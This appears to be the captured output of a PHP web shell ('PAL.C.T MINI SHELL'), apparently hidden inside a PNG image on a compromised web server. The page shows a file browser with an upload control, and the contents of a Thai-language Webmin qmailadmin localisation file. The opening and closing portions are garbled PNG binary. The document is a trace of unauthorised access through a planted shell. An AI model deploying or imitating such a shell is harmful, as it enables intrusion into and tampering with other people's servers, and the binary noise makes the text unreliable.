php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/qmailadmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/qmailadmin/lang/th.auto

index_title=เซิร์ฟเวอร์อีเมล QMail
index_edir=ไดเรกทอรีฐาน QMail $1 ไม่มีอยู่ อาจไม่ได้ติดตั้ง QMail หรือ <a href='$2'>การกำหนดค่าโมดูล</a> ของคุณไม่ถูกต้อง
index_edir2=ไดเรกทอรี $1 ไม่ปรากฏว่าเป็นไดเรกทอรีฐาน QMail อาจไม่ได้ติดตั้ง QMail หรือ <a href='$2'>การกำหนดค่าโมดูล</a> ของคุณไม่ถูกต้อง
index_return=การกำหนดค่า QMail
index_stop=หยุดกระบวนการ QMail
index_stopmsg=คลิกที่ปุ่มนี้เพื่อหยุดการทำงานของพื้นหลัง QMail ที่รับผิดชอบในการส่งจดหมายที่อยู่ในคิว หากไม่มีกระบวนการเหล่านี้เมลจะไม่ถูกส่งออกหรือส่งไปยังระบบของคุณอย่างถูกต้อง
index_start=เริ่มกระบวนการ QMail
index_startmsg=คลิกที่ปุ่มนี้เพื่อเริ่มพื้นหลังกระบวนการ QMail ที่รับผิดชอบในการส่งจดหมายที่อยู่ในคิว หากไม่มีกระบวนการเหล่านี้เมลจะไม่ถูกส่งออกหรือส่งไปยังระบบของคุณอย่างถูกต้อง

opts_title=ตัวเลือก QMail
opts_me=ชื่อโฮสต์ท้องถิ่น
opts_helo=ชื่อโฮสต์สำหรับ SMTP HELO
opts_toconnect=การหมดเวลาเชื่อมต่อ SMTP
opts_secs=วินาที
opts_toremote=SMTP หมดเวลาตอบกลับขาออก
opts_bytes=ขนาดข้อความสูงสุด
opts_unlimited=ไม่ จำกัด
opts_timeout=การหมดเวลาของข้อมูลขาเข้าของ SMTP
opts_localip=ชื่อโฮสต์สำหรับอีเมลไปยังที่อยู่ IP ท้องถิ่น
opts_greet=ข้อความทักทาย SMTP
opts_err=ไม่สามารถบันทึกตัวเลือก QMail
opts_eme=ชื่อโฮสต์ท้องถิ่นไม่ถูกต้อง
opts_etoconnect=การหมดเวลาเชื่อมต่อ SMTP ไม่ถูกต้อง
opts_etoremote=การหมดเวลาตอบกลับ SMTP ไม่ถูกต้อง
opts_ebytes=ขนาดข้อความสูงสุดไม่ถูกต้อง
opts_etimeout=การหมดเวลาของข้อมูลขาเข้า SMTP ไม่ถูกต้อง
opts_elocalip=ชื่อโฮสต์ที่อยู่ IP ท้องถิ่นไม่ถูกต้อง

aliases_title=Mail Aliases
aliases_addr=ที่อยู่
aliases_to=ชื่อแทนไป ..
aliases_type1=ที่อยู่ 1
aliases_type2=ไดเรกทอรีจดหมาย $1 
aliases_type3=ไฟล์จดหมาย $1 
aliases_type4=โปรแกรม $1 
aliases_type5=ไฟล์ $1 ซ้ำโดยอัตโนมัติ
aliases_type6=ใช้ไฟล์ตัวกรอง $1 
aliases_none=ไม่มี
aliases_return=รายการนามแฝง
aliases_toomany=มีชื่อแทนอีเมลในระบบของคุณมากเกินไปที่จะแสดงในหน้านี้
aliases_go=ค้นหาชื่อแทนการจับคู่:
aliases_delete=ลบนามแฝงที่เลือก

aform_type0=ไม่มี
aform_type1=ที่อยู่อีเมล
aform_type2=ไดเรกทอรีจดหมาย
aform_type3=ไฟล์เมล
aform_type4=ฟีดโปรแกรม
aform_type5=ตอบกลับอัตโนมัติจากไฟล์
aform_type6=ใช้ไฟล์ตัวกรอง
aform_edit=แก้ไขนามแฝง
aform_create=สร้างนามแฝง
aform_name=ที่อยู่
aform_val=นามแฝงถึง
aform_afile=แก้ไข ..
aform_novirt=&lt;โดเมนทั้งหมด&gt;
aform_return=นามแฝง

asave_err=ไม่สามารถบันทึกชื่อแทนได้
asave_eaddr='$1' ไม่ใช่ที่อยู่ที่ถูกต้อง
asave_ealready=ชื่อแทนสำหรับ '$1' มีอยู่แล้ว
asave_etype1='$1' ไม่ใช่ที่อยู่อีเมลที่ถูกต้อง
asave_etype2='$1' ไม่ใช่ไดเรกทอรีจดหมายที่ถูกต้อง
asave_etype3='$1' ไม่ใช่ชื่อไฟล์อีเมลที่ถูกต้อง
asave_etype4='$1' ไม่ใช่โปรแกรมที่ถูกต้องหรือไม่มีอยู่
asave_etype5=ไฟล์ Autoreply '$1' ไม่ถูกต้อง
asave_etype4none=ไม่ได้รับโปรแกรม
asave_etype6=ไฟล์ตัวกรอง '$1' ไม่ถูกต้อง

adelete_err=การลบชื่อแทนล้มเหลว
adelete_enone=ไม่ได้เลือก

locals_title=โดเมนท้องถิ่น
locals_domains=โดเมนท้องถิ่นสำหรับเซิร์ฟเวอร์นี้
locals_desc=Qmail จะยอมรับการจัดส่งไปยังผู้ใช้ในพื้นที่อีเมลไปยังโดเมนและชื่อโฮสต์ที่แสดงในกล่องข้อความทางด้านซ้าย หากคุณต้องการให้เซิร์ฟเวอร์อีเมลของคุณจัดการกับโดเมนอีเมลหลายโดเมนทุกโดเมนควรอยู่ในรายการในแบบฟอร์มนี้
locals_only=เฉพาะชื่อโฮสต์ท้องถิ่น $1 
locals_sel=โดเมนที่ระบุไว้ด้านล่าง ..

rcpts_title=โดเมนที่ยอมรับ
rcpts_domains=ยอมรับโดเมนโลคัลและรีเลย์
rcpts_all=โดเมนใดก็ได้
rcpts_sel=โดเมนที่ระบุไว้ด้านล่าง ..
rcpts_desc=Qmail จะยอมรับการส่งต่อหรือการจัดส่งในท้องถิ่นเฉพาะอีเมลไปยังโดเมนและชื่อโฮสต์ที่แสดงในกล่องข้อความทางด้านซ้าย คุณสามารถป้อนอักขระตัวแทนที่ตรงกับโฮสต์ทั้งหมดในโดเมนเช่น <tt>.foo.com</tt> หากคุณต้องการให้เซิร์ฟเวอร์อีเมลของคุณส่งต่ออีเมลสำหรับลูกค้าคุณต้องยอมรับอีเมลจากโดเมนใด ๆ
rcpts_domains2=โดเมนโลคัลและรีเลย์เพิ่มเติม
rcpts_desc2=หากคุณมีโดเมนที่ยอมรับจำนวนมากควรป้อนโดเมนที่มีการใช้งานน้อยลงในกล่องข้อความนี้ โดยทั่วไป 50 โดเมนแรกที่อนุญาตของคุณควรจะถูกป้อนลงในกล่องข้อความด้านบนและส่วนที่เหลือในโดเมนนี้

bads_title=ที่อยู่ที่ถูกปฏิเสธ
bads_addresses=ที่อยู่อีเมลที่ถูกปฏิเสธ
bads_desc=QMail จะปฏิเสธเมลสำหรับการจัดส่งหรือการส่งต่อจากที่อยู่ใด ๆ ที่ระบุไว้ในกล่องข้อความทางด้านซ้ายซึ่งจะต้องป้อนเป็น <tt>ชื่อผู้ใช้ @ domainname</tt> หากคุณต้องการปฏิเสธจดหมายจากทั้งโดเมนควรป้อนเป็น <tt>@domainname</tt>

routes_title=การกำหนดเส้นทางโดเมน
routes_toomany=มีเส้นทางโดเมนมากเกินไปในระบบของคุณที่จะแสดงในหน้านี้
routes_go=ค้นหาเส้นทางโดเมนที่ตรงกัน:
routes_from=เมลสำหรับโดเมน
routes_to=ส่งผ่านเซิร์ฟเวอร์
routes_direct=ส่งตรง
routes_defroute=ส่งจดหมายขาออกอื่น ๆ ทั้งหมดผ่าน:
routes_return=เส้นทางโดเมน
routes_delete=ลบเส้นทางโดเมนที่เลือก

rform_edit=แก้ไขเส้นทางโดเมน
rform_create=สร้างเส้นทางโดเมน
rform_from=เมลสำหรับโฮสต์หรือโดเมน
rform_to=ส่งผ่านเซิร์ฟเวอร์ SMTP
rform_port=พอร์ต SMTP

rsave_err=ไม่สามารถบันทึกเส้นทางโดเมน
rsave_efrom='$1' ไม่ใช่ชื่อโดเมนที่ถูกต้อง
rsave_eto='$1' ไม่ใช่เซิร์ฟเวอร์ SMTP ที่ถูกต้อง
rsave_eport='$1' ไม่ใช่หมายเลขพอร์ตที่ถูกต้อง

rdelete_err=ไม่สามารถลบเส้นทางโดเมน

percents_title=ที่อยู่โดเมน
percents_domains=โดเมนที่รองรับ % ที่อยู่
percents_desc=QMail จะยอมรับอีเมลพร้อมที่อยู่ในรูปแบบ <tt>user%firstdomain@seconddomain</tt> หาก <tt>seconddomain</tt> แสดงอยู่ในกล่องข้อความทางซ้าย ข้อความในรูปแบบนี้จะถูกส่งต่อไปยัง <tt>user@firstdomain</tt> โดยเมลเซิร์ฟเวอร์นี้

virts_title=การแมปเสมือน
virts_toomany=มีการแมปเสมือนบนระบบของคุณมากเกินไปที่จะแสดงในหน้านี้
virts_go=ค้นหาการจับคู่แมปเสมือน:
virts_from=เมลสำหรับ
virts_prepend=เติมคำนำหน้า
virts_all=ที่อยู่ทั้งหมด
virts_none=ไม่ใช่เสมือน
virts_desc=QMail ใช้การจับคู่เสมือนเพื่อจัดการอีเมลไปยังโดเมนต่างๆบนเซิร์ฟเวอร์ของคุณโดยการส่งข้อความไปยังส่วนผู้ใช้ของที่อยู่อีเมลก่อนประมวลผลเพิ่มเติม คุณสามารถใช้พวกเขาเพื่อตั้งค่าโดเมนอีเมลเสมือนโดยสร้างการแมปเสมือนใหม่สำหรับโดเมนจากนั้นใช้หน้า <a href='$1'>ชื่อแทนจดหมาย</a> เพื่อสร้างชื่อแทนภายในโดเมนนั้น
virts_return=การแม็พเสมือน
virts_delete=ลบการแมปเสมือนที่เลือก

vform_edit=แก้ไขการแม็พเสมือน
vform_create=สร้างการแมปเสมือน
vform_from=เมลสำหรับที่อยู่
vform_all=ที่อยู่ใด ๆ ที่ไม่ตรงกับการจับคู่เสมือนอื่น
vform_domain=ที่อยู่กับโดเมน
vform_user=ที่อยู่
vform_to=เติมชื่อผู้ใช้
vform_none=ไม่มีอะไร
vform_prepend=คำนำหน้าระบุ
vform_auto=คำนำหน้าที่เลือกโดยอัตโนมัติ

vsave_err=ไม่สามารถบันทึกการจับคู่เสมือน
vsave_edomain='$1' ไม่ใช่โดเมนอีเมลที่ถูกต้อง
vsave_euser='$1' ไม่ใช่ชื่อผู้ใช้อีเมลที่ถูกต้อง
vsave_eprepend='$1' ไม่ใช่คำนำหน้าการทำแผนที่ที่ถูกต้อง
vsave_eboth=คุณไม่สามารถเลือกได้ทั้ง 'ที่อยู่ใด ๆ ที่ไม่ตรงกับแผนที่เสมือนอื่น' และ 'ไม่มีอะไร'

vdelete_err=ไม่สามารถลบการแมปเสมือน

stop_err=กระบวนการ qmail-send ไม่ทำงานอีกต่อไป

log_stop=หยุดกระบวนการ QMail
log_start=เริ่มกระบวนการ QMail
log_opts=เปลี่ยนตัวเลือก QMail
log_alias_create=สร้างนามแฝงแล้ว $1 
log_alias_delete=ลบนามแฝง $1 
log_alias_modify=นามแฝงที่แก้ไขแล้ว $1 
log_delete_aliases=ลบนามแฝง $1 
log_virt_create=สร้างการแมปเสมือน $1 
log_virt_delete=ลบการแมปเสมือน $1 แล้ว
log_virt_modify=แก้ไขการแมปเสมือน $1 
log_delete_virts=ลบการแมปเสมือน $1 แล้ว
log_virtall_create=สร้างการจับคู่เสมือนของ catchall
log_virtall_delete=ลบการจับคู่เสมือน catchall
log_virtall_modify=แก้ไขการแม็พแบบเสมือน catchall
log_locals=เปลี่ยนโดเมนท้องถิ่นแล้ว
log_rcpts=เปลี่ยนโดเมนที่ยอมรับแล้ว
log_bads=เปลี่ยนที่อยู่ที่ถูกปฏิเสธ
log_percents=เปลี่ยน % ที่อยู่โดเมน
log_route_create=สร้างเส้นทางสำหรับ $1 
log_route_delete=เส้นทางที่ถูกลบสำหรับ $1 
log_route_modifed=แก้ไขเส้นทางสำหรับ $1 
log_delete_routes=ลบเส้นทาง $1 ออกแล้ว
log_defroute=แก้ไขเส้นทางเริ่มต้น
log_assign_create=ผู้ใช้จดหมายที่สร้างขึ้น $1 
log_assign_delete=ผู้ใช้จดหมายที่ถูกลบ $1 
log_assign_modifed=ผู้ใช้จดหมายที่แก้ไขแล้ว $1 
log_delete_assigns=ลบผู้ใช้จดหมาย $1 คน
log_delmail=ลบ $1 ข้อความจาก $2 
log_movemail=ย้ายข้อความ $1 จาก $2 ไปยัง $3 
log_send=ส่งจดหมายไปยัง $1 

rfile_title=แก้ไขไฟล์ตอบกลับอัตโนมัติ
rfile_desc=ใช้พื้นที่ข้อความด้านล่างเพื่อแก้ไขข้อความตอบกลับอัตโนมัติใน $1 ข้อความอาจมีมาโคร $SUBJECT, $FROM, $TO, $DATE และ $BODY ซึ่งจะถูกขยายเมื่อเปิดใช้งานการตอบกลับอัตโนมัติ
rfile_desc2=นอกจากนี้คุณยังสามารถตั้งค่าส่วนหัวจดหมายที่เพิ่มหรือแทนที่ค่าเริ่มต้นที่ใช้ในการตอบกลับอัตโนมัติโดยใส่บรรทัดเช่น: <br><tt> จาก: foo@bar.com </tt><br> <tt>หัวเรื่อง: ในวันหยุด</tt> <br> ที่ด้านบนของข้อความแยกออกจากเนื้อความด้วยบรรทัดว่างบรรทัดเดียว
rfile_efile=คุณไม่ได้รับอนุญาตให้แก้ไข $1 
rfile_undo=เลิกทำการเปลี่ยนแปลง
rfile_replies=ติดตามคำตอบเพื่อป้องกันการวนซ้ำจดหมายหรือไม่
rfile_none=ไม่
rfile_file=ใช่ใช้ไฟล์บันทึก
rfile_period=ช่วงเวลาต่ำสุดระหว่างการตอบกลับ
rfile_default=ค่าเริ่มต้น (1 ชั่วโมง)
rfile_secs=วินาที
rfile_ereplies=ไม่มีไฟล์บันทึกการติดตามการตอบกลับ
rfile_eperiod=จำนวนวินาทีที่ขาดหายไปหรือไม่ถูกต้องระหว่างการตอบกลับ
rfile_no_autoreply=อย่าส่ง Autoreplies ไปที่
rfile_from=จาก: ที่อยู่สำหรับการตอบกลับ
rfile_auto=อัตโนมัติ (ตามที่อยู่ของผู้รับ)
rfile_efrom=ที่อยู่ขาดจาก:
rfile_fromdesc=ควรระบุที่อยู่จาก: หากเป็นไปได้เสมอเนื่องจากวิธีการอัตโนมัติอาจไม่น่าเชื่อถือ

ffile_title=แก้ไขไฟล์ตัวกรอง
ffile_desc=ใช้แบบฟอร์มด้านล่างเพื่อตั้งค่ากฎตัวกรองในไฟล์ $1 
ffile_efile=คุณไม่ได้รับอนุญาตให้แก้ไข $1 
ffile_line=ถ้าฟิลด์ $1 $2 $3 ส่งต่อไปยัง $4 
ffile_from=จาก
ffile_to=ถึง
ffile_subject=เรื่อง
ffile_cc=CC
ffile_body=ร่างกาย
ffile_what0=ไม่ตรง
ffile_what1=ไม้ขีด
ffile_other=มิฉะนั้นส่งต่อไปยัง $1 
ffile_err=ไม่สามารถบันทึกไฟล์ตัวกรอง
ffile_ematch=ไม่มีคู่ที่ตรงกัน
ffile_eaction=ไม่มีที่อยู่สำหรับส่งต่อ

queue_title=คิวจดหมาย
queue_count=ข้อความ $1 
queue_none=ไม่มีข้อความจดหมายที่รอคิวสำหรับการจัดส่ง
queue_id=รหัสไปรษณีย์
queue_date=ส่ง
queue_from=จาก
queue_to=ถึง
queue_cc=ซีซี
queue_subject=เรื่อง
queue_return=คิวเมล
queue_delete=ลบข้อความที่เลือก
queue_all=เลือกทั้งหมด
queue_invert=สลับการเลือก
queue_refresh=รีเฟรชคิวเมล
queue_refreshdesc=โหลดหน้านี้ซ้ำเพื่อแสดงสถานะปัจจุบันของเมลคิว

qview_title=ข้อความที่ถูกจัดคิว
qview_desc=จากไฟล์ $1 
qview_headers=ส่วนหัวของจดหมาย
qview_attach=สิ่งที่แนบมา

assigns_title=การมอบหมายผู้ใช้จดหมาย
assigns_return=การมอบหมายผู้ใช้เมล
assigns_toomany=มีผู้ใช้เมลในระบบของคุณมากเกินไปที่จะแสดงในหน้านี้
assigns_go=ค้นหาผู้ใช้เมลที่ตรงกับ:
assigns_address=ส่งไปยังที่อยู่
assigns_user=ผู้ใช้ Unix
assigns_uid=โพสต์
assigns_gid=GID
assigns_home=ไดเรกทอรีบ้าน
assigns_desc=การมอบหมายผู้ใช้เมลอนุญาตให้คุณสร้างกล่องจดหมายสำหรับผู้ใช้ที่ไม่ได้กำหนดไว้ในรายการผู้ใช้ Unix การมอบหมายแต่ละครั้งจะส่งอีเมลสำหรับชื่อผู้ใช้หรือรูปแบบชื่อผู้ใช้ราวกับว่ามันถูกส่งไปยังกล่องจดหมายของผู้ใช้ Unix จริง
assigns_delete=ลบผู้ใช้จดหมายที่เลือก

sform_edit=แก้ไขผู้ใช้จดหมาย
sform_create=สร้างผู้ใช้จดหมาย
sform_address=ที่อยู่ชื่อผู้ใช้
sform_mode0=ชื่อผู้ใช้ที่แน่นอน
sform_mode1=ชื่อผู้ใช้ที่ขึ้นต้นด้วย
sform_user=ผู้ใช้ Unix
sform_uid=โพสต์
sform_gid=GID
sform_home=ไดเรกทอรีบ้าน

ssave_err=ไม่สามารถบันทึกผู้ใช้จดหมาย
ssave_eaddress=ชื่อผู้ใช้ที่อยู่หายไปหรือไม่ถูกต้อง
ssave_euser=ผู้ใช้ Unix ที่ขาดหายไปหรือไม่ถูกต้อง
ssave_euid=UID ที่ขาดหายไปหรือไม่ถูกต้อง
ssave_egid=GID ที่ขาดหายไปหรือไม่ถูกต้อง
ssave_ehome=ไดเรกทอรีบ้านที่ขาดหายไปหรือไม่ถูกต้อง

sdelete_err=ไม่สามารถลบผู้ใช้จดหมาย

delete_egone=ไม่มีข้อความที่อยู่ในคิวอีกต่อไป
delete_ebogus=ชื่อไฟล์คิวไม่ถูกต้อง

boxes_title=กล่องจดหมายของผู้ใช้
boxes_user=ผู้ใช้งาน
boxes_size=ขนาดกล่องจดหมาย
boxes_none=ไม่มีเมล
boxes_return=กล่องจดหมาย
boxes_sent=ส่งอีเมล
boxes_ecannot=คุณไม่ได้รับอนุญาตให้อ่านอีเมล
boxes_toomany=มีผู้ใช้ในระบบของคุณมากเกินไปที่จะแสดงรายการกล่องจดหมายทั้งหมดของพวกเขา
boxes_go=ดูเมลสำหรับผู้ใช้:

mail_title=อีเมลผู้ใช้
mail_from=จาก
mail_date=วันที่
mail_subject=เรื่อง
mail_to=ถึง
mail_cc=ซีซี
mail_bcc=สำเนาลับ
mail_pri=ลำดับความสำคัญ
mail_highest=สูงสุด
mail_high=สูง
mail_normal=ปกติ
mail_low=ต่ำ
mail_lowest=ต่ำที่สุด
mail_for=ใน $1 
mail_for2=สำหรับผู้ใช้ $1 
mail_sent=ในรายชื่ออีเมลที่ส่ง
mail_size=ขนาด
mail_delete=ลบ
mail_compose=เขียน
mail_return=กล่องจดหมายของผู้ใช้
mail_pos=ข้อความ $1 ถึง $2 จาก $3 
mail_none=กล่องจดหมายนี้ไม่มีข้อความ
mail_ecannot=คุณไม่ได้รับอนุญาตให้อ่านอีเมลของผู้ใช้รายนี้
mail_all=เลือกทั้งหมด
mail_invert=สลับการเลือก
mail_search=ค้นหาข้อความที่
mail_body=ร่างกาย
mail_match=ไม้ขีด
mail_ok=ค้นหา
mail_nonefrom=ไม่มี
mail_mark=ทำเครื่องหมายว่า:
mail_mark0=ไม่ได้อ่าน
mail_mark1=อ่าน
mail_mark2=พิเศษ
mail_forward=ข้างหน้า
mail_rfc=จากบรรทัด
mail_move=ย้ายไปที่:
mail_eexists=ไม่มีข้อความอีกต่อไป!

view_title=อ่านอีเมล
view_desc=ข้อความ $1 ใน $2 
view_desc2=ข้อความ $1 สำหรับผู้ใช้ $2 
view_desc3=ข้อความ $1 
view_sent=ข้อความ $1 ในรายการอีเมลที่ส่ง
view_qdesc=ข้อความที่จัดคิว $1 
view_headers=ส่วนหัวของจดหมาย
view_allheaders=ดูส่วนหัวทั้งหมด
view_noheaders=ดูส่วนหัวพื้นฐาน
view_attach=สิ่งที่แนบมา
view_reply=ตอบ
view_reply2=ตอบกลับทั้งหมด
view_enew=แก้ไขเป็นใหม่
view_forward=ข้างหน้า
view_delete=ลบ
view_strip=ลบไฟล์แนบ
view_ecannot=คุณไม่ได้รับอนุญาตให้อ่านอีเมลของผู้ใช้รายนี้
view_mark=ทำเครื่องหมายข้อความว่า:
view_mark0=ไม่ได้อ่าน
view_mark1=อ่าน
view_mark2=พิเศษ
view_return=อีเมลเดิม
view_sub=อีเมลที่แนบมา

compose_title=เขียนอีเมล
reply_title=ตอบกลับอีเมล
forward_title=ส่งต่ออีเมล
enew_title=แก้ไขอีเมล
reply_headers=ส่วนหัวของจดหมาย
reply_attach=ส่งต่อไฟล์แนบ
reply_mailforward=ส่งต่อข้อความ
reply_attach2=ไคลเอนต์และสิ่งที่แนบมาฝั่งเซิร์ฟเวอร์
reply_send=ส่งอีเมล์
reply_ecannot=คุณไม่ได้รับอนุญาตให้ส่งเมลในฐานะผู้ใช้รายนี้

send_err=การส่งเมลล้มเหลว
send_eto=ที่อยู่หายไป
send_efrom=ที่อยู่หายไปจาก
send_title=ส่งจดหมายแล้ว
send_ok=ส่งจดหมายถึง $1 สำเร็จแล้ว
send_ecannot=คุณไม่ได้รับอนุญาตให้ส่งเมลในฐานะผู้ใช้รายนี้
send_esmtp=คำสั่ง SMTP $1 ล้มเหลว : $2 
send_efile=ไฟล์ที่แนบมา $1 ไม่มีอยู่
send_eattach=ไฟล์แนบไม่สามารถรวมขนาด $1 kB ได้มากขึ้น
send_eperms=ผู้ใช้ $1 ไม่สามารถอ่าน $2 
send_eperms2=คุณไม่ได้รับอนุญาตให้ส่งไฟล์ $1 
send_epath=Sendmail ที่ปฏิบัติการได้ $1 ไม่มีอยู่

delete_title=ลบเมล
delete_rusure=คุณแน่ใจหรือว่าต้องการลบข้อความที่เลือก $1 จาก $2 การดำเนินการนี้อาจใช้เวลาสักครู่สำหรับไฟล์จดหมายขนาดใหญ่ จนกว่าการลบจะเสร็จสิ้นไม่ควรดำเนินการอื่น
delete_rusure2=คุณแน่ใจหรือว่าต้องการลบข้อความนี้จาก $1 การดำเนินการนี้อาจใช้เวลาสักครู่สำหรับไฟล์จดหมายขนาดใหญ่ จนกว่าการลบจะเสร็จสิ้นไม่ควรดำเนินการอื่น
delete_ok=ลบทันที
delete_ecannot=ตอนนี้คุณได้รับอนุญาตให้ลบจดหมายจากผู้ใช้รายนี้
delete_enone=ไม่ได้เลือกจดหมายที่จะลบ
delete_emnone=ไม่ได้เลือกอีเมลเพื่อทำเครื่องหมาย
delete_nobutton=ไม่มีการคลิกปุ่ม

search_title=ผลการค้นหา
search_ecannot=คุณไม่ได้รับอนุญาตให้ค้นหาอีเมลของผู้ใช้รายนี้
search_ematch=คุณต้องป้อนข้อความเพื่อให้ตรงกับ
search_efield=คุณต้องเลือกประเภทการค้นหา
search_none=ไม่พบข้อความ
search_results2=$1 ข้อความเมลที่ตรงกับ $2 ..
search_results3=ข้อความอีเมล $1 ไม่ตรงกับ $2 

match_from=จาก: การแข่งขัน
match_subject=เรื่อง: การแข่งขัน
match_to=ถึง: การแข่งขัน
match_cc=สำเนา: การแข่งขัน
match_date=วันที่: การแข่งขัน
match_body=ตรงกับร่างกาย
match_size=ขนาดใหญ่กว่า
match_headers=ตรงกับส่วนหัว
match_=-----------------
match_!from=จาก: ไม่ตรงกัน
match_!subject=หัวเรื่อง: ไม่ตรงกัน
match_!to=ถึง: ไม่ตรงกัน
match_!cc=สำเนา: ไม่ตรงกัน
match_!date=วันที่: ไม่ตรง
match_!body=ร่างกายไม่ตรงกัน
match_!size=ขนาดน้อยกว่า
match_!headers=ส่วนหัวไม่ตรงกัน

delq_titles=การลบข้อความ
delq_rusure=คุณแน่ใจหรือว่าต้องการลบข้อความที่อยู่ในคิว $1 ที่เลือกไว้
delq_confirm=ลบข้อความ
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`